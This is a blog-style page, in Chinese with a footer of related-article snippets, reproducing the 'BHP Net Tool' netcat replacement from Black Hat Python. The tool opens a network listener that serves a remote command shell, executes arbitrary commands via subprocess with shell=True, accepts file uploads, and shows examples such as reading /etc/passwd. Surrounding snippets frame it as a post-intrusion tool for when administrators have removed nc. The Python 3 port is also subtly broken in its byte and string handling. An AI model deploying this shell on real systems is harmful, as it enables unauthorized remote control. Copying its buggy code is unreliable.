BHP Net Tool
#导入需要用到的包
import sys
import getopt
import threading
import socket
import subprocess #定义全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0 def usage():
print('''BHP Net Tool usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming connections
-e --execute - execute the given file upon receiving a connection
-c --command - initialize a command shell
-u --upload = destination - upon receiving connection upload a file and write to [destination] Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=cat /etc/passwd
echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135
''')
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机 client.connect((target,port)) if len(buffer):
client.send(buffer.encode()) while True: #等待数据回传
recv_len = 1
response = '' while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+=data.decode() if recv_len < 4096:
break print(response,end='') #等待输入
buffer = input('')
buffer +='\n' #发送出去 client.send(buffer.encode()) except Exception as e:
print(str(e))
print('[*] Exception ! Exiting .')
client.close() def server_loop():
global target if not target:
target = '0.0.0.0' server = socket.socket()
server.bind((target,port))
server.listen(255) while True:
client_socket,addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start() def client_handler(client_socket):
global upload
global execute
global command if len(upload_destination):
#检测上传文件 file_buffer = '' #持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break else:
file_buffer += data.decode()
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send('Sucessfully saved file to %s\r\n'.encode() % upload_destination) except Exception as e:
print(str(e))
print('Failed to save file to %s\r\n' % upload_destination) if len(execute):
output = run_command(execute) client_socket.send(output.encode()) if command:
while True:
client_socket.send("<BHP:#> ".encode())
cmd_buff = ''
while '\n' not in cmd_buff:
cmd_buff += client_socket.recv(1024).decode()
response = run_command(cmd_buff) client_socket.send(response) def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell = True) except Exception as e:
print(str(e))
print('Failed to execute command.') return output def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port if not len(sys.argv[1:]): #如果没有参数则打印帮助信息
usage() try:
options,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage() for o,a in options:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else :
assert False,"Unhandled Option" if not listen and len(target) and port > 0 :
buffer = sys.stdin.read() client_sender(buffer) if listen :
server_loop()
main()
BHP Net Tool的更多相关文章
- 取代netcat
前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...
- python黑帽子
1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络基础
TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...
- Black Hat Python之#1:制作简单的nc工具
nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...
- [免费了] SailingEase .NET Resources Tool (.NET 多语言资源编辑器)
这是我2010年左右,写 Winform IDE (http://www.cnblogs.com/sheng_chao/p/4387249.html)项目时延伸出的一个小项目. 最初是以共享软件的形式 ...
- jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the install tool.
jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the ...
- mtk flash tool,Win7 On VirtualBox
SP_Flash_Tool_exe_Windows_v5.1624.00.000 Win7 在 VirtualBox, 安裝 mtk flash tool, v5.1628 在燒錄時會 fail. v ...
- 使用Microsoft Web Application Stress Tool对web进行压力测试
Web压力测试是目前比较流行的话题,利用Web压力测试可以有效地测试一些Web服务器的运行状态和响应时间等等,对于Web服务器的承受力测试是个非常好的手法.Web 压力测试通常是利用一些工具,例如微软 ...
- How to Use Android ADB Command Line Tool
Android Debug Bridge (adb) is a tool that lets you manage the state of an emulator instance or Andro ...
随机推荐
- XML特殊字符处理
XML共有5个特殊字符,分别为:&<>"' 如果XML文件中需要包含如上5个特殊字符,有两种方式: 1.将包含特殊字符的字符串放在<![CDATA[]]>中 ...
- Android 数据库管理— — —删除数据
package com.example.datebasetest; import android.content.ContentValues;import android.database.sqlit ...
- 用profile分析算法性能
在命令行输入:profile viewer 会出现如下图所示探查器: 在运行此代码的后面的输入框中输入要运行的程序,然后点击启动探查,就会自动探查. 探查结束之后,会给出每个函数的调用次数.运行时间等 ...
- Hello, RealSense!
这是kinect for windows: 这是华硕 xtion pro: 这是Intel® RealSense™: 几经周折,终于买到了,99美元套件+25美元运费,正在旅途中.
- C语言程序设计第十次作业
一.实验内容 1.有5名学生,每名学生有语文.数学和外语3门课的考试成绩.编程统计各学生的总分和平均分以及所有学生各科的平均分.要求成绩在程序中初始化,结果以表格的形式输出. ...
- CSS3 Background-size
详情见链接 http://www.w3cplus.com/content/css3-background-size/ 例子:http://www.topcss.org/demo/background- ...
- What is the difference between the ways to implement inheritance in javascript.
see also : http://www.w3school.com.cn/js/pro_js_inheritance_implementing.asp http://davidshariff.com ...
- BZOJ 3270 && BZOJ 1778 (期望DP && 高斯消元)
BZOJ 3270 :设置状态为Id(x,y)表示一人在x,一人在y这个状态的概率. 所以总共有n^2种状态. p[i]表示留在该点的概率,Out[i]=(1-p[i])/Degree[i]表示离开该 ...
- 【Learning Python】【第四章】Python代码结构(一)
这一章的主旨在于介绍python的代码结构 缩进 在很多的编程语言中,一般{}用于控制代码块,比如以下的一段C代码 if(var <= 10) { printf("....." ...
- UVA 1151二进制枚举子集 + 最小生成树
题意:平面上有n个点(1<=N<=1000),你的任务是让所有n个点连通,为此, 你可以新建一些边,费用等于两个端点的欧几里得距离的平方.另外还有q(0<=q<=8)个套餐(数 ...